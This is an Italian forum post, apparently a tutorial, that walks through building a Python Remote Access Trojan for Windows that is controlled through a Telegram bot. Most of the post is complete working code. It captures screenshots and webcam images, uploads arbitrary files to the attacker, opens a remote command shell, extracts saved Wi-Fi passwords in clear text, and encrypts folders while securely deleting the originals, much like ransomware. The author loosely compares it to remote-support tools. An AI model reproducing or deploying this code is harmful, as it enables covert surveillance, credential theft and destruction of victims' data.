Un rat (Remote Access Trojan) è un malware che permette ad un attaccante di ottenere il controllo remoto di un computer infetto. Una volta che il RAT è in esecuzione l'aggressore può inviargli comandi e ricevere dati in risposta come se avesse il pieno controllo del PC (in questo caso Windows).
Questo programma può essere visto anche come una specie di Anydesk o Lanschool quindi ruolo di controllo in ambito lavorativo (una shell di Windows e 300 righe di codice in Python sono sicuramente più leggeri dei programmi citati).

Installazione:

Il requisito iniziale è avere Python installato. Trovata l'ultima versione avviate il setup:

Terminata l'installazione recatevi su Powershell, ora abbiamo bisogno di pip:
Invoke-WebRequest -Uri https://bootstrap.pypa.io/get-pip.py -OutFile get-pip.py
python get-pip.py

Ora dovete salvarvi da qualche parte la directory con il rat (nel mio caso sui downloads), dopo aver creato la cartella aggiungete un file requirements.txt con scritto:

mss
opencv-python
pyttsx3
telebot
clipboard
secure-delete
pyAesCrypt

e il file ehfrat.py da riempire in seguito.

Entriamo nella directory del rat sempre da Powershell:
Set-Location -Path "C:\Users\samuele\Downloads\ehfrat"
cd "C:\Users\samuele\Downloads\ehfrat"

Infine:
pip install -r requirements.txt

Installati i requisiti basterà avviare il file Python (modificato):
python ehfrat.py

Codice:

Aggiungiamo le librerie che useremo per ogni comando:

import os
import re
import mss
import cv2
import time
import pyttsx3
import telebot
import platform
import clipboard
import subprocess
import pyAesCrypt
from secure_delete import secure_delete
  • os: per interagire con il sistema operativo.
  • re: per le espressioni regolari.
  • mss: Per gli screenshot.
  • cv2: fa parte di OpenCV per gestire la webcam.
  • time
  • pyttsx3: sintesi vocale.
  • telebot: per collegare le API di Telegram.
  • platform: per le info sull'os.
  • clipboard: per accedere alla clipboard (oggetti copiati).
  • subprocess: per lanciare comandi.
  • pyAesCrypt: per criptare e decriptare file.
  • secure_delete: per eliminare i file originali dopo averli criptati.

Definiamo il bot con il relativo webhook:

BOT_TOKEN='qui'
telegram_bot=telebot.TeleBot(BOT_TOKEN)
current_directory=os.path.expanduser("~")
secure_delete.secure_random_seed_init()
telegram_bot.set_webhook()

Per generare il token dovrete recarvi da @BotFather su Telegram:

Aggiungiamo una guida iniziale per una legenda:

@telegram_bot.message_handler(commands=['start'])
def start_handler(msg):
    telegram_bot.send_message(msg.chat.id, (
        'Welcome! Send /screen to capture screenshot.\n'
        '/sys to get system information.\n'
        '/ip to get IP address.\n'
        '/cd to navigate in folders.\n'
        '/ls to list elements.\n'
        '/upload [path] to get file.\n'
        '/crypt [path] to encrypt folder files.\n'
        '/decrypt [path] to decrypt folder files.\n'
        '/webcam to capture a webcam image.\n'
        '/lock to lock the session.\n'
        '/clipboard to get clipboard content.\n'
        '/shell to enter remote shell interface.\n'
        '/wifi to get Wi-Fi passwords.\n'
        '/speech [text] to convert text to speech.\n'
        '/shutdown to shut down the system.'
    ))

Comando per screen:

@telegram_bot.message_handler(commands=['screen'])
def screen_handler(msg):
    with mss.mss() as screenshot:
        screenshot.shot(output=f"{current_directory}/capture.png")
    image_path = f"{current_directory}/capture.png"
    with open(image_path, "rb") as photo:
        telegram_bot.send_photo(msg.chat.id, photo)

Info su IP:

@telegram_bot.message_handler(commands=['ip'])
def ip_handler(msg):
    try:
        command_ip = "curl ipinfo.io/ip"
        result = subprocess.check_output(command_ip, shell=True)
        public_ip = result.decode("utf-8").strip()
        telegram_bot.send_message(msg.chat.id, public_ip)
    except:
        telegram_bot.send_message(msg.chat.id, 'Error retrieving IP address.')

Info sul sistema operativo:

@telegram_bot.message_handler(commands=['sys'])
def system_info_handler(msg):
    sys_info = {
        'Platform': platform.platform(),
        'System': platform.system(),
        'Node Name': platform.node(),
        'Release': platform.release(),
        'Version': platform.version(),
        'Machine': platform.machine(),
        'Processor': platform.processor(),
        'CPU Cores': os.cpu_count(),
        'Username': os.getlogin(),
    }
    info_text = '\n'.join(f"{key}: {value}" for key, value in sys_info.items())
    telegram_bot.send_message(msg.chat.id, info_text)

Elenco dei file (ls):

@telegram_bot.message_handler(commands=['ls'])
def list_directory_handler(msg):
    try:
        contents = os.listdir(current_directory)
        if not contents:
            telegram_bot.send_message(msg.chat.id, "Folder is empty.")
        else:
            response = "Directory content:\n"
            response += "\n".join(f"- {item}" for item in contents)
            telegram_bot.send_message(msg.chat.id, response)
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Cambia directory (cd):

@telegram_bot.message_handler(commands=['cd'])
def change_directory_handler(msg):
    try:
        global current_directory
        args = msg.text.split(' ')
        if len(args) >= 2:
            new_directory = args[1]
            new_path = os.path.join(current_directory, new_directory)
            if os.path.exists(new_path) and os.path.isdir(new_path):
                current_directory = new_path
                telegram_bot.send_message(msg.chat.id, f"You are now in: {current_directory}")
            else:
                telegram_bot.send_message(msg.chat.id, "The directory does not exist.")
        else:
            telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /cd [folder name]")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Carica file:

@telegram_bot.message_handler(commands=['upload'])
def upload_handler(msg):
    try:
        args = msg.text.split(' ')
        if len(args) >= 2:
            file_path = args[1]
            if os.path.exists(file_path):
                with open(file_path, 'rb') as file:
                    telegram_bot.send_document(msg.chat.id, file)
                telegram_bot.send_message(msg.chat.id, "File has been transferred successfully.")
            else:
                telegram_bot.send_message(msg.chat.id, "The specified path does not exist.")
        else:
            telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /upload [PATH]")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Cripta i file in una cartella:

@telegram_bot.message_handler(commands=['crypt'])
def encrypt_folder_handler(msg):
    try:
        if len(msg.text.split()) >= 2:
            folder_to_encrypt = msg.text.split()[1]
            password = "Your_strong_password"
            for root, dirs, files in os.walk(folder_to_encrypt):
                for file in files:
                    file_path = os.path.join(root, file)
                    encrypted_file_path = file_path + '.crypt'
                    pyAesCrypt.encryptFile(file_path, encrypted_file_path, password)
                    if not file_path.endswith('.crypt'):
                        secure_delete.secure_delete(file_path)
            telegram_bot.send_message(msg.chat.id, "Folder encrypted and original files securely deleted successfully.")
        else:
            telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /crypt [FOLDER_PATH]")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Decripta file:

@telegram_bot.message_handler(commands=['decrypt'])
def decrypt_folder_handler(msg):
    try:
        if len(msg.text.split()) >= 2:
            folder_to_decrypt = msg.text.split()[1]
            password = "Your_strong_password"
            for root, dirs, files in os.walk(folder_to_decrypt):
                for file in files:
                    if file.endswith('.crypt'):
                        file_path = os.path.join(root, file)
                        decrypted_file_path = file_path[:-6]
                        pyAesCrypt.decryptFile(file_path, decrypted_file_path, password)
                        secure_delete.secure_delete(file_path)
            telegram_bot.send_message(msg.chat.id, "Folder decrypted and encrypted files deleted successfully.")
        else:
            telegram_bot.send_message(msg.chat.id, "Incorrect command usage. Use /decrypt [ENCRYPTED_FOLDER_PATH]")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Blocca sessione:

@telegram_bot.message_handler(commands=['lock'])
def lock_handler(msg):
    try:
        result = subprocess.run(["rundll32.exe", "user32.dll,LockWorkStation"], stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if result.returncode == 0:
            telegram_bot.send_message(msg.chat.id, "Windows session successfully locked.")
        else:
            telegram_bot.send_message(msg.chat.id, "Unable to lock Windows session.")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Spegnimento:

shutdown_commands = [
    ['shutdown', '/s', '/t', '5'],
    ['shutdown', '-s', '-t', '5'],
    ['shutdown.exe', '/s', '/t', '5'],
    ['shutdown.exe', '-s', '-t', '5'],
]

@telegram_bot.message_handler(commands=['shutdown'])
def shutdown_handler(msg):
    try:
        success = False
        for cmd in shutdown_commands:
            result = subprocess.run(cmd, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
            if result.returncode == 0:
                success = True
                break
        if success:
            telegram_bot.send_message(msg.chat.id, "Shutdown in 5 seconds.")
        else:
            telegram_bot.send_message(msg.chat.id, "Unable to shutdown.")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Per scattare foto dalla webcam:

@telegram_bot.message_handler(commands=['webcam'])
def webcam_handler(msg):
    try:
        cap = cv2.VideoCapture(0)
        if not cap.isOpened():
            telegram_bot.send_message(msg.chat.id, "Error: Unable to open the webcam.")
        else:
            ret, frame = cap.read()
            if ret:
                cv2.imwrite("webcam.jpg", frame)
                with open("webcam.jpg", 'rb') as photo_file:
                    telegram_bot.send_photo(msg.chat.id, photo=photo_file)
                os.remove("webcam.jpg")
            else:
                telegram_bot.send_message(msg.chat.id, "Error while capturing the image.")
        cap.release()
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Sintesi vocale:

@telegram_bot.message_handler(commands=['speech'])
def speech_handler(msg):
    try:
        text = msg.text.replace('/speech', '').strip()
        if text:
            pyttsx3.speak(text)
            telegram_bot.send_message(msg.chat.id, "Text spoken successfully.")
        else:
            telegram_bot.send_message(msg.chat.id, "Use like this: /speech [TEXT]")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Stati utente per le shell:

user_states = {}
STATE_NORMAL = 1
STATE_SHELL = 2

@telegram_bot.message_handler(commands=['shell'])
def shell_handler(msg):
    user_id = msg.from_user.id
    user_states[user_id] = STATE_SHELL
    telegram_bot.send_message(user_id, "You are now in the remote shell interface. Type 'exit' to exit.")

@telegram_bot.message_handler(func=lambda msg: get_user_state(msg.from_user.id) == STATE_SHELL)
def handle_shell_commands(msg):
    user_id = msg.from_user.id
    command = msg.text.strip()
    if command.lower() == 'exit':
        telegram_bot.send_message(user_id, "Exiting remote shell interface.")
        user_states[user_id] = STATE_NORMAL
    else:
        try:
            process = subprocess.Popen(command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE)
            stdout, stderr = process.communicate()
            if stdout:
                output = stdout.decode('utf-8', errors='ignore')
                send_long_message(user_id, f"Command output:\n{output}")
            if stderr:
                error_output = stderr.decode('utf-8', errors='ignore')
                send_long_message(user_id, f"Command error output:\n{error_output}")
        except Exception as e:
            telegram_bot.send_message(user_id, f"An error occurred: {str(e)}")

def get_user_state(user_id):
    return user_states.get(user_id, STATE_NORMAL)

def send_long_message(user_id, message_text):
    part_size = 4000
    message_parts = [message_text[i:i+part_size] for i in range(0, len(message_text), part_size)]
    for part in message_parts:
        telegram_bot.send_message(user_id, part)

Password wifi:

@telegram_bot.message_handler(commands=['wifi'])
def wifi_handler(msg):
    try:
        subprocess.run(['netsh', 'wlan', 'export', 'profile', 'key=clear'], shell=True, text=True)
        with open('Wi-Fi-App.xml', 'r') as file:
            xml_content = file.read()
        ssid_match = re.search(r'<name>(.*?)<\/name>', xml_content)
        password_match = re.search(r'<keyMaterial>(.*?)<\/keyMaterial>', xml_content)
        if ssid_match and password_match:
            ssid = ssid_match.group(1)
            password = password_match.group(1)
            message_text = f"SSID: {ssid}\nPASS: {password}"
            telegram_bot.send_message(msg.chat.id, message_text)
            try:
                os.remove("Wi-Fi-App.xml")
            except:
                pass
        else:
            telegram_bot.send_message(msg.chat.id, "Wi-Fi credentials not found.")
    except Exception as e:
        telegram_bot.send_message(msg.chat.id, f"An error occurred: {str(e)}")

Bot in ascolto:

if __name__ == "__main__":
    print('Waiting for commands...')
    try:
        telegram_bot.infinity_polling()
    except:
        time.sleep(10)

Video dimostrazione:

Powered by: FreeFlarum.
(remove this footer)